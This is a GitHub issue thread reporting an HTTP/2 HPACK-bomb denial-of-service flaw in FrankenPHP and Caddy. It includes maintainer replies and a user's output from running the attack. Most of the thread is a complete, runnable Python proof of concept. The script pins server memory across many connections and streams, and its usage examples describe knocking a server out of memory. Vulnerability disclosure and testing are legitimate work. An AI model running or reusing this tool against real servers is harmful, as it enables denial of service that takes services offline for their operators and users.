HTTP/2 Bomb

[krzysztof113]

What happened?

Hi
Frankenphp is affected by HTTP/2 Bomb.
I was checking on v1.12.3
This link explains and has proper references.
https://thehackernews.com/2026/06/new-http2-bomb-vulnerability-allows.html?m=1

I can provide a prompt for the exploit if needed.

Build Type

Static binary

Worker Mode

No

Operating System

GNU/Linux

CPU Architecture

x86_64

PHP configuration

phpinfo() output

N/A

Relevant log output

Relevant log output

[AlliBalliBaba]

(misclick)

Is Caddy really vulnerable to this attack? According to this article it currently isn't, but I aslo haven't tried it myself. If so this should probably be reported to Caddy directly or the go source repo.

[krzysztof113]

Regarding Caddy, I wouldn't know where to report it.
I know only that in frankenphp I have this in seconds of execution of Poc.

[krzysztof113]

If some one wants to try:
python3 frankenphp_h2_bomb.py --host 127.0.0.1 --port 443 -n 10

python

#!/usr/bin/env python3
"""
HTTP/2 HPACK Bomb + Window Stall — FrankenPHP/Caddy/Go DoS PoC

Exploits memory amplification in Go's net/http HTTP/2 implementation
(as used by Caddy and FrankenPHP):

  - HPACK indexed reference bomb: 1 wire byte → ~55-65 bytes server memory
    (Go's http.Header map + hpack.HeaderField slice overhead)
  - HTTP/2 window stall: INITIAL_WINDOW_SIZE=0 + periodic WINDOW_UPDATE drip
    keeps every allocated byte pinned indefinitely

Go's HTTP/2 server limits total decoded header *size* (via
SETTINGS_MAX_HEADER_LIST_SIZE, default 1 MB) but has NO per-request
header *count* cap.  A tiny header like "a:" costs 33 bytes against
the size budget (len(name)+len(value)+32 overhead per RFC 7541) but
allocates ~55-65 bytes of Go runtime memory per occurrence.

Zero dependencies — uses only Python stdlib (ssl, socket, struct).

RESEARCH PoC FOR AUTHORIZED SECURITY TESTING ONLY.

Usage:
  # Against FrankenPHP with TLS (default Caddy config, ~1 MB header budget)
  ./frankenphp_h2_bomb.py --host 127.0.0.1 --port 443

  # Against FrankenPHP without TLS (h2c prior knowledge)
  ./frankenphp_h2_bomb.py --host 127.0.0.1 --port 80 --no-tls

  # Multiple connections to OOM a large server
  ./frankenphp_h2_bomb.py --host 127.0.0.1 --port 443 -n 10

  # Extended hold (keep memory pinned for 1 hour)
  ./frankenphp_h2_bomb.py --host 127.0.0.1 --port 443 --hold 3600
"""

import argparse
import socket
import ssl
import struct
import sys
import threading
import time

# ---------------------------------------------------------------------------
# HTTP/2 constants
# ---------------------------------------------------------------------------
H2_PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"

# Frame types
FRAME_DATA = 0x0
FRAME_HEADERS = 0x1
FRAME_PRIORITY = 0x2
FRAME_RST_STREAM = 0x3
FRAME_SETTINGS = 0x4
FRAME_PUSH_PROMISE = 0x5
FRAME_PING = 0x6
FRAME_GOAWAY = 0x7
FRAME_WINDOW_UPDATE = 0x8
FRAME_CONTINUATION = 0x9

# Flags
FLAG_END_STREAM = 0x1
FLAG_END_HEADERS = 0x4
FLAG_ACK = 0x1

# Settings IDs
SETTINGS_HEADER_TABLE_SIZE = 0x1
SETTINGS_ENABLE_PUSH = 0x2
SETTINGS_MAX_CONCURRENT_STREAMS = 0x3
SETTINGS_INITIAL_WINDOW_SIZE = 0x4
SETTINGS_MAX_FRAME_SIZE = 0x5
SETTINGS_MAX_HEADER_LIST_SIZE = 0x6

# Defaults
DEFAULT_WINDOW = 65535
DEFAULT_MAX_FRAME_SIZE = 16384  # 2^14
DEFAULT_HEADER_TABLE_SIZE = 4096
DEFAULT_MAX_HEADER_LIST_SIZE = 1 << 20  # 1 MB (Go/Caddy default)
DEFAULT_MAX_CONCURRENT_STREAMS = 250  # Go's default

# Per-header overhead in Go's header-list-size calculation (RFC 7541 §4.1.1)
HPACK_ENTRY_OVERHEAD = 32

# ---------------------------------------------------------------------------
# HTTP/2 frame helpers
# ---------------------------------------------------------------------------

def build_frame(ftype: int, flags: int, stream_id: int, payload: bytes) -> bytes:
    """Build a raw HTTP/2 frame."""
    hdr = struct.pack("!I", len(payload))[1:]  # 3-byte length
    hdr += struct.pack("!BB", ftype, flags)
    hdr += struct.pack("!I", stream_id & 0x7FFFFFFF)
    return hdr + payload


def build_settings_frame(params: list, ack: bool = False) -> bytes:
    """Build a SETTINGS frame.  params = [(id, value), ...]"""
    if ack:
        return build_frame(FRAME_SETTINGS, FLAG_ACK, 0, b"")
    payload = b""
    for pid, val in params:
        payload += struct.pack("!HI", pid, val)
    return build_frame(FRAME_SETTINGS, 0, 0, payload)


def build_window_update(stream_id: int, increment: int) -> bytes:
    """Build a WINDOW_UPDATE frame."""
    payload = struct.pack("!I", increment & 0x7FFFFFFF)
    return build_frame(FRAME_WINDOW_UPDATE, 0, stream_id, payload)


def build_ping_ack(opaque_data: bytes) -> bytes:
    """Build a PING ACK frame."""
    return build_frame(FRAME_PING, FLAG_ACK, 0, opaque_data)


def parse_frames(data: bytes):
    """Yield (ftype, flags, stream_id, payload) from raw bytes."""
    while len(data) >= 9:
        length = (data[0] << 16) | (data[1] << 8) | data[2]
        ftype = data[3]
        flags = data[4]
        stream_id = struct.unpack("!I", data[5:9])[0] & 0x7FFFFFFF
        if len(data) < 9 + length:
            break
        payload = data[9 : 9 + length]
        yield (ftype, flags, stream_id, payload)
        data = data[9 + length :]


def parse_settings(payload: bytes) -> dict:
    """Parse a SETTINGS payload into {id: value} dict."""
    settings = {}
    off = 0
    while off + 6 <= len(payload):
        sid = struct.unpack("!H", payload[off : off + 2])[0]
        val = struct.unpack("!I", payload[off + 2 : off + 6])[0]
        settings[sid] = val
        off += 6
    return settings


# ---------------------------------------------------------------------------
# HPACK encoding helpers
# ---------------------------------------------------------------------------

def hpack_int(value: int, prefix_bits: int, first_byte_prefix: int) -> bytes:
    """Encode an integer with an HPACK-style variable-length prefix."""
    max_prefix = (1 << prefix_bits) - 1
    if value < max_prefix:
        return bytes([first_byte_prefix | value])
    out = bytearray([first_byte_prefix | max_prefix])
    value -= max_prefix
    while value >= 128:
        out.append((value & 0x7F) | 0x80)
        value >>= 7
    out.append(value)
    return bytes(out)


def hpack_indexed(index: int) -> bytes:
    """Indexed header field representation (RFC 7541 §6.1)."""
    return hpack_int(index, 7, 0x80)


def hpack_literal_indexed_name(index: int, value: bytes, with_indexing: bool = True) -> bytes:
    """Literal header field with indexed name (RFC 7541 §6.2.1/6.2.2)."""
    prefix = 0x40 if with_indexing else 0x00
    prefix_bits = 6 if with_indexing else 4
    return hpack_int(index, prefix_bits, prefix) + hpack_encode_string(value)


def hpack_literal_new_name(name: bytes, value: bytes, with_indexing: bool = True) -> bytes:
    """Literal header field with new name (RFC 7541 §6.2.1/6.2.2)."""
    prefix = 0x40 if with_indexing else 0x00
    return bytes([prefix]) + hpack_encode_string(name) + hpack_encode_string(value)


def hpack_encode_string(data: bytes) -> bytes:
    """Encode a string literal (no Huffman, for simplicity)."""
    return hpack_int(len(data), 7, 0x00) + data


# ---------------------------------------------------------------------------
# HPACK bomb builders
# ---------------------------------------------------------------------------

def build_tiny_header_bomb(
    num_headers: int,
    authority: str = "x",
    scheme: str = "https",
) -> bytes:
    """
    Build an HPACK-encoded header block using the tiny-header strategy.

    Inserts one small header ("a", "") into the dynamic table, then emits
    (num_headers - 5) indexed references to it.

    Per-reference cost against Go's header-list-size budget:
        len("a") + len("") + 32 = 33 bytes

    Per-reference server memory in Go:
        ~55-65 bytes (hpack.HeaderField + http.Header slice growth)

    Returns the complete HPACK block bytes.
    """
    block = bytearray()

    # Pseudo-headers via static table indexed references (1 byte each):
    #   Index 2 = :method GET
    #   Index 4 = :path /
    #   Index 6 = :scheme https  /  Index 7 = :scheme http
    block.extend(hpack_indexed(2))  # :method GET
    block.extend(hpack_indexed(4))  # :path /

    if scheme == "https":
        block.extend(hpack_indexed(6))  # :scheme https
    else:
        block.extend(hpack_indexed(7))  # :scheme http

    # :authority — literal WITHOUT indexing (don't pollute dynamic table)
    block.extend(
        hpack_literal_indexed_name(1, authority.encode(), with_indexing=False)
    )

    # Insert bomb entry: ("a", "") with incremental indexing
    # This becomes dynamic-table entry 62 (first entry after static table)
    block.extend(hpack_literal_new_name(b"a", b"", with_indexing=True))

    # Indexed references to dynamic entry 62 ("a", "")
    # 0xBE = 0x80 | 62
    refs = max(0, num_headers - 5)
    block.extend(b"\xbe" * refs)

    return bytes(block)


def build_cookie_bomb(
    num_refs: int,
    authority: str = "x",
    scheme: str = "https",
    cookie_value_size: int = 4000,
    header_table_size: int = DEFAULT_HEADER_TABLE_SIZE,
) -> bytes:
    """
    Build an HPACK-encoded header block using the cookie strategy.

    Inserts one fat cookie header into the dynamic table, then emits
    num_refs indexed references to it.

    Per-reference cost against Go's header-list-size budget:
        len("cookie") + cookie_value_size + 32 bytes

    This variant has higher per-entry amplification for servers that
    reconstruct/merge cookie headers (like PHP), but fewer total
    references fit within the header-list-size budget.

    Returns the complete HPACK block bytes.
    """
    # Ensure cookie fits in the HPACK dynamic table
    max_cookie = header_table_size - 32 - len(b"cookie")
    if cookie_value_size > max_cookie:
        cookie_value_size = max_cookie

    cookie_value = b"x" * cookie_value_size
    block = bytearray()

    # Pseudo-headers
    block.extend(hpack_indexed(2))  # :method GET
    block.extend(hpack_indexed(4))  # :path /
    if scheme == "https":
        block.extend(hpack_indexed(6))  # :scheme https
    else:
        block.extend(hpack_indexed(7))  # :scheme http

    # :authority without indexing
    block.extend(
        hpack_literal_indexed_name(1, authority.encode(), with_indexing=False)
    )

    # Insert cookie entry: static index 32 = "cookie" name
    # This becomes dynamic-table entry 62
    block.extend(
        hpack_literal_indexed_name(32, cookie_value, with_indexing=True)
    )

    # Indexed references to dynamic entry 62
    block.extend(hpack_indexed(62) * num_refs)

    return bytes(block)


def split_into_frames(
    stream_id: int, header_block: bytes, max_payload: int = DEFAULT_MAX_FRAME_SIZE
) -> list:
    """
    Split an HPACK block into HEADERS + CONTINUATION frames.
    Returns list of raw frame bytes.
    """
    frames = []
    offset = 0
    first = True

    while offset < len(header_block):
        chunk = header_block[offset : offset + max_payload]
        offset += len(chunk)
        is_last = offset >= len(header_block)

        if first:
            flags = FLAG_END_STREAM
            if is_last:
                flags |= FLAG_END_HEADERS
            frames.append(build_frame(FRAME_HEADERS, flags, stream_id, chunk))
            first = False
        else:
            flags = FLAG_END_HEADERS if is_last else 0
            frames.append(build_frame(FRAME_CONTINUATION, flags, stream_id, chunk))

    return frames


# ---------------------------------------------------------------------------
# Header budget calculator
# ---------------------------------------------------------------------------

def calc_max_tiny_headers(max_header_list_size: int) -> int:
    """
    Calculate the maximum number of tiny headers ("a", "") that fit
    within the given header-list-size budget.

    Budget calculation (per Go's http2 implementation):
        sum of (len(name) + len(value) + 32) for each header

    Fixed headers:
        :method GET   → 7 + 3 + 32 = 42
        :path /       → 5 + 1 + 32 = 38
        :scheme https → 6 + 5 + 32 = 43  (or http: 6 + 4 + 32 = 42)
        :authority x  → 10 + 1 + 32 = 43
        insert "a:"   → 1 + 0 + 32 = 33
        Total fixed: 42 + 38 + 43 + 43 + 33 = 199

    Each indexed ref: 1 + 0 + 32 = 33
    """
    fixed_cost = 42 + 38 + 43 + 43 + 33  # 199 bytes
    per_ref = 1 + 0 + HPACK_ENTRY_OVERHEAD  # 33 bytes
    remaining = max_header_list_size - fixed_cost
    if remaining <= 0:
        return 5  # at least the fixed headers
    refs = remaining // per_ref
    return refs + 5  # 5 fixed headers + refs


def calc_max_cookie_refs(
    max_header_list_size: int, cookie_value_size: int
) -> int:
    """
    Calculate the maximum number of cookie references that fit
    within the given header-list-size budget.

    Fixed headers (same as tiny):
        199 bytes

    Insert cookie:
        len("cookie") + cookie_value_size + 32 = 6 + cookie_value_size + 32

    Each indexed ref:
        len("cookie") + cookie_value_size + 32 = 6 + cookie_value_size + 32
    """
    fixed_cost = 42 + 38 + 43 + 43  # 166 bytes (pseudo-headers only)
    insert_cost = 6 + cookie_value_size + HPACK_ENTRY_OVERHEAD
    per_ref = 6 + cookie_value_size + HPACK_ENTRY_OVERHEAD
    remaining = max_header_list_size - fixed_cost - insert_cost
    if remaining <= 0:
        return 0
    return remaining // per_ref


# ---------------------------------------------------------------------------
# H2 connection / attack class
# ---------------------------------------------------------------------------

class H2AttackConnection:
    """Manages a single HTTP/2 connection used for the HPACK bomb attack."""

    def __init__(
        self,
        host: str,
        port: int,
        num_streams: int,
        num_headers: int,
        bomb_mode: str = "tiny",
        cookie_size: int = 4000,
        use_tls: bool = True,
        conn_id: int = 0,
        verbose: bool = False,
    ):
        self.host = host
        self.port = port
        self.num_streams = num_streams
        self.num_headers = num_headers
        self.bomb_mode = bomb_mode
        self.cookie_size = cookie_size
        self.use_tls = use_tls
        self.conn_id = conn_id
        self.verbose = verbose

        self.sock = None
        self.stream_ids: list[int] = []
        self.active = False

        # Server settings (learned during handshake)
        self.server_settings: dict = {}
        self.server_max_concurrent = DEFAULT_MAX_CONCURRENT_STREAMS
        self.server_max_header_list = DEFAULT_MAX_HEADER_LIST_SIZE
        self.server_max_frame_size = DEFAULT_MAX_FRAME_SIZE
        self.server_header_table_size = DEFAULT_HEADER_TABLE_SIZE

    def log(self, msg: str):
        if self.verbose:
            print(f"  [conn {self.conn_id}] {msg}", flush=True)

    # ----- Connection setup -----

    def connect(self):
        """Establish TCP (+ optional TLS) connection."""
        raw = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        raw.settimeout(30)
        raw.connect((self.host, self.port))

        if self.use_tls:
            ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            ctx.set_alpn_protocols(["h2"])
            self.sock = ctx.wrap_socket(raw, server_hostname=self.host)
            negotiated = self.sock.selected_alpn_protocol()
            if negotiated != "h2":
                raise RuntimeError(
                    f"ALPN negotiated '{negotiated}', expected 'h2'"
                )
            self.log("TLS + h2 connected")
        else:
            self.sock = raw
            self.log("TCP + h2c connected (prior knowledge)")

    def handshake(self):
        """Send HTTP/2 client preface + SETTINGS with INITIAL_WINDOW_SIZE=0."""
        # Client preface
        self.sock.sendall(H2_PREFACE)

        # Our SETTINGS: disable push, zero initial window
        self.sock.sendall(
            build_settings_frame(
                [
                    (SETTINGS_ENABLE_PUSH, 0),
                    (SETTINGS_INITIAL_WINDOW_SIZE, 0),
                ]
            )
        )

        # Read server's preface (SETTINGS + SETTINGS_ACK + possibly WINDOW_UPDATE)
        # We read all available data, then parse frames from the accumulated buffer.
        self.sock.settimeout(3.0)
        buf = b""
        try:
            while True:
                chunk = self.sock.recv(65536)
                if not chunk:
                    self.active = False
                    return
                buf += chunk
        except (socket.timeout, ssl.SSLWantReadError, BlockingIOError):
            pass

        # Parse all received frames
        for ftype, flags, sid, payload in parse_frames(buf):
            if ftype == FRAME_SETTINGS and not (flags & FLAG_ACK):
                settings = parse_settings(payload)
                self._process_server_settings(settings)
            elif ftype == FRAME_GOAWAY:
                self.log("Received GOAWAY during handshake")
                self.active = False
                return

        # ACK server's SETTINGS
        self.sock.sendall(build_settings_frame([], ack=True))

        # Brief pause to let the server process our ACK before we blast it
        time.sleep(0.1)

        self.log(
            f"H2 handshake done "
            f"(server max_header_list={self.server_max_header_list}, "
            f"max_concurrent={self.server_max_concurrent})"
        )

    # ----- Server settings parsing -----

    def _process_server_settings(self, settings: dict):
        """Store server settings from the SETTINGS frame."""
        self.server_settings = settings

        if SETTINGS_MAX_CONCURRENT_STREAMS in settings:
            self.server_max_concurrent = settings[SETTINGS_MAX_CONCURRENT_STREAMS]
        if SETTINGS_MAX_HEADER_LIST_SIZE in settings:
            self.server_max_header_list = settings[SETTINGS_MAX_HEADER_LIST_SIZE]
        if SETTINGS_MAX_FRAME_SIZE in settings:
            self.server_max_frame_size = settings[SETTINGS_MAX_FRAME_SIZE]
        if SETTINGS_HEADER_TABLE_SIZE in settings:
            self.server_header_table_size = settings[SETTINGS_HEADER_TABLE_SIZE]

    # ----- Attack methods -----

    def send_bombs(self) -> int:
        """
        Send HPACK bomb HEADERS on all streams.

        Returns total wire bytes sent.
        """
        scheme = "https" if self.use_tls else "http"
        max_frame = min(self.server_max_frame_size, 1 << 24)  # cap at 16 MB

        self.log(
            f"Building HPACK bomb: mode={self.bomb_mode}, "
            f"{self.num_headers} headers/stream, "
            f"{self.num_streams} streams"
        )

        # Build the HPACK block once, reuse for all streams
        if self.bomb_mode == "cookie":
            cookie_refs = self.num_headers - 5  # subtract pseudo-headers + insert
            hpack_block = build_cookie_bomb(
                cookie_refs,
                authority=self.host,
                scheme=scheme,
                cookie_value_size=self.cookie_size,
                header_table_size=self.server_header_table_size,
            )
        else:
            hpack_block = build_tiny_header_bomb(
                self.num_headers,
                authority=self.host,
                scheme=scheme,
            )

        wire_per_stream = len(hpack_block)
        self.log(f"HPACK block: {wire_per_stream:,} bytes ({wire_per_stream / 1024:.1f} KB)")

        # Cap streams to server's max concurrent
        effective_streams = min(self.num_streams, self.server_max_concurrent)
        if effective_streams < self.num_streams:
            self.log(
                f"Reduced streams from {self.num_streams} to "
                f"{effective_streams} (server limit)"
            )

        total_wire = 0
        for i in range(effective_streams):
            stream_id = 2 * i + 1  # odd IDs: 1, 3, 5, ...
            self.stream_ids.append(stream_id)

            raw_frames = split_into_frames(stream_id, hpack_block, max_frame)
            for f in raw_frames:
                self.sock.sendall(f)
                total_wire += len(f)

        self.log(
            f"Sent {effective_streams} streams, "
            f"total wire: {total_wire:,} bytes ({total_wire / 1024 / 1024:.1f} MB)"
        )
        self.active = True

        # Drain any immediate server responses
        self._drain(timeout=1.0)

        return total_wire

    def hold_with_drip(self, hold_seconds: int, drip_interval: int = 50):
        """
        Hold server memory by drip-feeding 1-byte WINDOW_UPDATEs.

        Each WINDOW_UPDATE lets the server send 1 byte of response body,
        which resets any write-idle timer.  The stream stays alive as long
        as there are body bytes remaining.
        """
        self.log(f"Holding for {hold_seconds}s (drip every {drip_interval}s)")
        t0 = time.monotonic()
        drip_count = 0

        while time.monotonic() - t0 < hold_seconds:
            # Wait for drip interval, responding to PINGs
            wait_until = time.monotonic() + drip_interval
            while time.monotonic() < wait_until:
                remaining = wait_until - time.monotonic()
                if remaining <= 0:
                    break
                self._drain(timeout=min(remaining, 5.0))

            if not self.active:
                break

            try:
                # Connection-level window update
                self.sock.sendall(build_window_update(0, 1))

                # Per-stream window updates
                for sid in self.stream_ids:
                    self.sock.sendall(build_window_update(sid, 1))

                drip_count += 1
                elapsed = time.monotonic() - t0
                self.log(
                    f"Drip #{drip_count} at {elapsed:.0f}s "
                    f"({len(self.stream_ids)} streams)"
                )
            except (BrokenPipeError, ConnectionResetError, OSError):
                self.log("Connection lost during drip")
                self.active = False
                break

        elapsed = time.monotonic() - t0
        self.log(f"Hold phase ended after {elapsed:.0f}s, {drip_count} drips")

    # ----- Frame reading -----

    def _drain(self, timeout: float = 1.0):
        """Read and handle incoming frames (PING ACK, GOAWAY, SETTINGS)."""
        self.sock.settimeout(timeout)
        try:
            while True:
                data = self.sock.recv(65536)
                if not data:
                    self.active = False
                    return
                for ftype, flags, sid, payload in parse_frames(data):
                    if ftype == FRAME_PING and not (flags & FLAG_ACK):
                        try:
                            self.sock.sendall(build_ping_ack(payload))
                        except OSError:
                            self.active = False
                            return
                    elif ftype == FRAME_GOAWAY:
                        err_code = "?"
                        if len(payload) >= 8:
                            err_code = struct.unpack("!I", payload[4:8])[0]
                        self.log(f"Received GOAWAY (error={err_code})")
                        self.active = False
                        return
                    elif ftype == FRAME_SETTINGS and not (flags & FLAG_ACK):
                        settings = parse_settings(payload)
                        self._process_server_settings(settings)
                        # ACK the server's settings
                        self.sock.sendall(build_settings_frame([], ack=True))
                    elif ftype == FRAME_RST_STREAM:
                        self.log(f"Received RST_STREAM on stream {sid}")
        except (socket.timeout, ssl.SSLWantReadError, BlockingIOError):
            pass
        except (ConnectionResetError, BrokenPipeError, OSError):
            self.active = False

    def close(self):
        if self.sock:
            try:
                self.sock.close()
            except OSError:
                pass


# ---------------------------------------------------------------------------
# Attack orchestration
# ---------------------------------------------------------------------------

def run_attack(args):
    """Run the multi-connection HPACK bomb attack."""

    # Determine effective header-list-size budget
    if args.max_header_list_size:
        budget = args.max_header_list_size
    else:
        budget = DEFAULT_MAX_HEADER_LIST_SIZE  # will be updated from server

    # Calculate optimal header count
    if args.mode == "cookie":
        cookie_size = args.cookie_size
        num_refs = calc_max_cookie_refs(budget, cookie_size)
        num_headers = num_refs + 5  # pseudo + insert
        per_entry_wire = len(hpack_indexed(62))  # 1 byte
        per_entry_mem = 6 + cookie_size + 50  # rough Go overhead estimate
    else:
        num_headers = calc_max_tiny_headers(budget)
        per_entry_wire = 1
        per_entry_mem = 55  # conservative Go overhead estimate

    if args.headers:
        num_headers = min(num_headers, args.headers)

    streams = args.streams

    # Print attack summary
    print(f"\n{'=' * 70}")
    print(f"  HTTP/2 HPACK Bomb + Window Stall — FrankenPHP/Caddy/Go PoC")
    print(f"  Target:        {args.host}:{args.port}")
    print(f"  TLS:           {'yes (h2)' if not args.no_tls else 'no (h2c)'}")
    print(f"  Mode:          {args.mode}")
    print(f"  Connections:   {args.connections}")
    print(f"  Streams:       {streams} per connection")
    print(f"  Headers:       {num_headers:,} per stream")
    print(f"  Header budget: {budget:,} bytes ({budget / 1024:.0f} KB)")
    print(f"  Hold:          {args.hold}s (drip every {args.drip_interval}s)")
    print(f"{'=' * 70}")

    # Estimate memory impact
    indexed_refs = max(0, num_headers - 5)
    mem_per_stream = indexed_refs * per_entry_mem
    mem_per_conn = streams * mem_per_stream
    mem_total = args.connections * mem_per_conn
    wire_per_stream = 5 + 1 + indexed_refs * per_entry_wire  # pseudo + insert + refs
    wire_total = args.connections * streams * wire_per_stream

    print(f"\n  Estimated server memory impact:")
    print(f"    Per header (Go overhead):  ~{per_entry_mem} bytes")
    print(f"    Per stream:                {mem_per_stream / 1024 / 1024:.1f} MB")
    print(f"    Per connection:            {mem_per_conn / 1024 / 1024:.0f} MB")
    print(f"    Total ({args.connections} conns):     {mem_total / 1024 / 1024:.0f} MB "
          f"({mem_total / 1024 / 1024 / 1024:.1f} GB)")
    print(f"    Wire upload:               {wire_total / 1024 / 1024:.0f} MB")
    if wire_total > 0:
        print(f"    Amplification ratio:       {mem_total / wire_total:.0f}:1")
    print()

    connections: list[H2AttackConnection] = []
    total_wire = 0
    lock = threading.Lock()

    t_start = time.monotonic()

    # ---- Phase 1a: Establish connections ----
    print(f"[*] Phase 1a: Establishing {args.connections} connections...")

    def connect_worker(i):
        c = H2AttackConnection(
            host=args.host,
            port=args.port,
            num_streams=streams,
            num_headers=num_headers,
            bomb_mode=args.mode,
            cookie_size=args.cookie_size if args.mode == "cookie" else 0,
            use_tls=not args.no_tls,
            conn_id=i,
            verbose=args.verbose,
        )
        try:
            c.connect()
            c.handshake()
            with lock:
                connections.append(c)
        except Exception as e:
            print(f"    Connection {i}: FAILED — {e}", flush=True)
            c.close()

    connect_threads = []
    for i in range(args.connections):
        t = threading.Thread(target=connect_worker, args=(i,), daemon=True)
        t.start()
        connect_threads.append(t)
        time.sleep(0.05)  # stagger to avoid SYN flood

    for t in connect_threads:
        t.join(timeout=30)

    print(
        f"    {len(connections)}/{args.connections} connections established "
        f"in {time.monotonic() - t_start:.1f}s"
    )

    if not connections:
        print("[!] No connections established. Exiting.")
        return

    # Recalculate header count based on actual server settings
    actual_budget = min(c.server_max_header_list for c in connections)
    if actual_budget != budget:
        print(f"    Server reported max_header_list_size = {actual_budget:,} bytes")
        if args.mode == "tiny":
            new_num = calc_max_tiny_headers(actual_budget)
        else:
            new_num = calc_max_cookie_refs(actual_budget, args.cookie_size) + 5

        if not args.headers:
            num_headers = new_num
            for c in connections:
                c.num_headers = num_headers
            print(f"    Adjusted headers to {num_headers:,} per stream")

    # ---- Phase 1b: Send HPACK bombs ----
    print(f"\n[*] Phase 1b: Sending HPACK bombs on {len(connections)} connections...")
    t_bomb = time.monotonic()

    def bomb_worker(c):
        nonlocal total_wire
        try:
            wire = c.send_bombs()
            with lock:
                total_wire += wire
            print(f"    Connection {c.conn_id}: sent {wire / 1024 / 1024:.1f} MB")
        except Exception as e:
            print(f"    Connection {c.conn_id}: SEND FAILED — {e}")
            c.active = False

    bomb_threads = []
    for c in connections:
        t = threading.Thread(target=bomb_worker, args=(c,), daemon=True)
        t.start()
        bomb_threads.append(t)

    for t in bomb_threads:
        t.join(timeout=120)

    elapsed = time.monotonic() - t_bomb
    print(
        f"\n[*] Phase 1 complete: {len(connections)} connections, "
        f"{total_wire / 1024 / 1024:.1f} MB uploaded in {elapsed:.1f}s"
    )
    if elapsed > 0:
        print(f"    Upload rate: {total_wire / elapsed / 1024 / 1024:.1f} MB/s")

    active_conns = [c for c in connections if c.active]
    if not active_conns:
        print("[!] No active connections remaining. Exiting.")
        for c in connections:
            c.close()
        return

    # ---- Phase 2: Hold with WINDOW_UPDATE drips ----
    print(
        f"\n[*] Phase 2: Holding server memory for {args.hold}s "
        f"(drip every {args.drip_interval}s)..."
    )
    print(f"    Monitor memory with: docker stats frankenphp")
    print(f"    Or: ps -o rss,pid -p $(pgrep frankenphp)")
    print(f"    Press Ctrl+C to stop early.\n")

    hold_threads = []
    for c in active_conns:
        t = threading.Thread(
            target=c.hold_with_drip,
            args=(args.hold, args.drip_interval),
            daemon=True,
        )
        t.start()
        hold_threads.append(t)

    try:
        for t in hold_threads:
            t.join()
    except KeyboardInterrupt:
        print("\n[*] Interrupted by user.")

    # ---- Phase 3: Cleanup ----
    t_end = time.monotonic()
    active = sum(1 for c in connections if c.active)
    print(f"\n[*] Done. Total time: {t_end - t_start:.0f}s")
    print(f"    Connections still active: {active}/{len(connections)}")
    print(f"    Total wire uploaded: {total_wire / 1024 / 1024:.1f} MB")

    for c in connections:
        c.close()


# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------

def main():
    parser = argparse.ArgumentParser(
        description="HTTP/2 HPACK Bomb + Window Stall — FrankenPHP/Caddy/Go DoS PoC",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Against FrankenPHP with TLS (default config)
  %(prog)s --host 127.0.0.1 --port 443

  # Against FrankenPHP without TLS (h2c)
  %(prog)s --host 127.0.0.1 --port 80 --no-tls

  # OOM a 4 GB server
  %(prog)s --host 127.0.0.1 --port 443 -n 10

  # Cookie bomb mode (higher per-entry amplification)
  %(prog)s --host 127.0.0.1 --port 443 --mode cookie

  # Extended hold (1 hour)
  %(prog)s --host 127.0.0.1 --port 443 --hold 3600

RESEARCH PoC FOR AUTHORIZED SECURITY TESTING ONLY.
""",
    )
    parser.add_argument("--host", default="127.0.0.1", help="Target host")
    parser.add_argument("--port", type=int, default=443, help="Target port")
    parser.add_argument(
        "--no-tls",
        action="store_true",
        help="Use HTTP/2 cleartext (h2c) instead of TLS",
    )
    parser.add_argument(
        "-n",
        "--connections",
        type=int,
        default=1,
        help="Number of concurrent connections (default: 1)",
    )
    parser.add_argument(
        "--streams",
        type=int,
        default=250,
        help="Streams per connection (default: 250, Go's default max)",
    )
    parser.add_argument(
        "--headers",
        type=int,
        default=0,
        help="Max headers per stream (0 = auto-calculate from server settings)",
    )
    parser.add_argument(
        "--mode",
        choices=["tiny", "cookie"],
        default="tiny",
        help="Bomb mode: 'tiny' for tiny header bomb, 'cookie' for cookie bomb "
        "(default: tiny)",
    )
    parser.add_argument(
        "--cookie-size",
        type=int,
        default=4000,
        help="Cookie value size in bytes for cookie mode (default: 4000)",
    )
    parser.add_argument(
        "--max-header-list-size",
        type=int,
        default=0,
        help="Override server's SETTINGS_MAX_HEADER_LIST_SIZE (0 = auto-detect)",
    )
    parser.add_argument(
        "--hold",
        type=int,
        default=120,
        help="Hold time in seconds (default: 120)",
    )
    parser.add_argument(
        "--drip-interval",
        type=int,
        default=50,
        help="Seconds between WINDOW_UPDATE drips (default: 50)",
    )
    parser.add_argument(
        "-v",
        "--verbose",
        action="store_true",
        help="Verbose per-connection output",
    )

    args = parser.parse_args()

    if args.no_tls and args.port == 443:
        args.port = 80
    if not args.no_tls and args.port == 80:
        args.port = 443

    print(
        "WARNING: This tool is for authorized security testing only.\n"
        "         Do not use against infrastructure you do not own.\n"
    )

    run_attack(args)


if __name__ == "__main__":
    main()

[mholt]

We have multiple reports the PoC didn't work on Caddy:

1. https://x.com/fl33tingly/status/2062389429113692504
2. https://x.com/skip2networks/status/2062408093179253161
3. (Plus one or two screenshots of group chats where the issue was discussed/verified)

The effects of the attack should be quite limited according to Calif: https://x.com/calif_io/status/2062462613817004194

Note that Go does not always release memory back to the OS when it "frees" it as far as the runtime is concerned. (And that does not constitute a leak/DoS).

[tobfel]

Hi,

sadly i can confirm the PoC aginst frankenphp/caddy is working (against windows frankenphp)

======================================================================
  HTTP/2 HPACK Bomb + Window Stall — FrankenPHP/Caddy/Go PoC
  Target:        abc.xyz:443
  TLS:           yes (h2)
  Mode:          tiny
  Connections:   10
  Streams:       250 per connection
  Headers:       31,774 per stream
  Header budget: 1,048,576 bytes (1024 KB)
  Hold:          120s (drip every 50s)
======================================================================

  Estimated server memory impact:
    Per header (Go overhead):  ~55 bytes
    Per stream:                1.7 MB
    Per connection:            417 MB
    Total (10 conns):     4166 MB (4.1 GB)
    Wire upload:               76 MB
    Amplification ratio:       55:1

[*] Phase 1a: Establishing 10 connections...
    10/10 connections established in 3.6s
    Server reported max_header_list_size = 1,048,896 bytes
    Adjusted headers to 31,783 per stream

[*] Phase 1b: Sending HPACK bombs on 10 connections...
    Connection 0: SEND FAILED — The write operation timed out
    Connection 6: SEND FAILED — The write operation timed out
    Connection 1: sent 7.6 MB
    Connection 3: SEND FAILED — The write operation timed out
    Connection 9: SEND FAILED — The write operation timed out
    Connection 4: SEND FAILED — The write operation timed out
    Connection 8: sent 7.6 MB
    Connection 5: sent 7.6 MB
